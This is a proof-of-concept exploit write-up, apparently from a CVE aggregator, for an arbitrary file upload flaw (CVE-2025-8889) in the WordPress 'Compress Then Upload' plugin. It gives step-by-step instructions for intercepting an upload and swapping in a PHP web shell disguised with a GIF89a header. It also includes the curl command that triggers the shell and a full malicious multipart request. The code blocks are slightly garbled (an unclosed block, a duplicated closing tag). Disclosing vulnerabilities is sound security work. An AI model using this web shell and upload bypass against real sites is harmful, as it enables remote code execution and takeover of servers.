CVE-2025-8889 PoC — Compress Then Upload < 1.0.5 - Admin+ Arbitrary File Upload

Source

Associated Vulnerability

Readme

# Exploit Title: WordPress Compress Then Upload Plugin 1.0.3 Arbitrary File Upload to RCE
**Date:** 2025-07-23  
**Exploit Author:** Muhammed Çelik  
**Vendor Homepage:** [https://wordpress.com/plugins/compress-then-upload](https://wordpress.com/plugins/compress-then-upload)  
**Software Link:** [https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip](https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip)  
**Version:** 1.0.3  
**Tested on:** Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28  
**CVE:** CVE-2025-8889  

## Vulnerability
The "Compress Then Upload Images" WordPress plugin fails to properly validate file extensions and MIME types during image uploads via its media upload interface. Although client-side validations exist, these can be bypassed by intercepting and modifying the upload request.

An authenticated user with media upload permissions (Author role or higher) can exploit this by:

1. Uploading a benign image file first  
2. Intercepting the upload request (e.g., via Burp Suite)  
3. Modifying the uploaded filename extension and the file content to contain malicious PHP code  
4. Retaining the original MIME type header (image/jpeg) to bypass weak server-side checks  
5. Resulting in arbitrary PHP code execution (Remote Code Execution, RCE) on the server  

## PoC

**Step 1: Prepare a regular image file**  
Create a regular image file, e.g., `regular.jpg` (any valid JPG file).

**Step 2: Upload the regular image via WordPress Admin Panel**  
- Login to WordPress Admin Panel with a user having at least Author privileges.  
- Navigate to Media > Compress Then Upload Images (plugin’s upload interface).  
- Upload `regular.jpg` normally.

**Step 3: Intercept and modify the upload request with Burp Suite**  
- While the upload is in progress, intercept the HTTP multipart request in Burp Suite.  
- Modify the request:  
  - Change `filename="regular.jpg"` → `filename="evil.php"`  
  - Replace the file content with PHP web shell code:  

```php
GIF89a;
<?php
    if (isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }


Note: The GIF89a; mimics a valid GIF header to bypass weak image validations.
Keep the Content-Type as image/jpeg.

Forward the modified request to the server.

Step 4: Trigger the uploaded web shell

If upload is successful, the PHP file will be saved in the uploads directory, e.g.:
http://target-site.com/wp-content/uploads/2025/07/evil.php

Access via browser or curl:

curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"

Example Malicious Upload Request (Burp Suite)

POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg

GIF89a;
<?php
    if (isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }
?>
?>

File Snapshot

 [4.0K]  /data/pocs/1f8387fd55f89dae2f9c15a37f61cecc0c69498e
└── [2.9K]  README.md

0 directories, 1 file

Remarks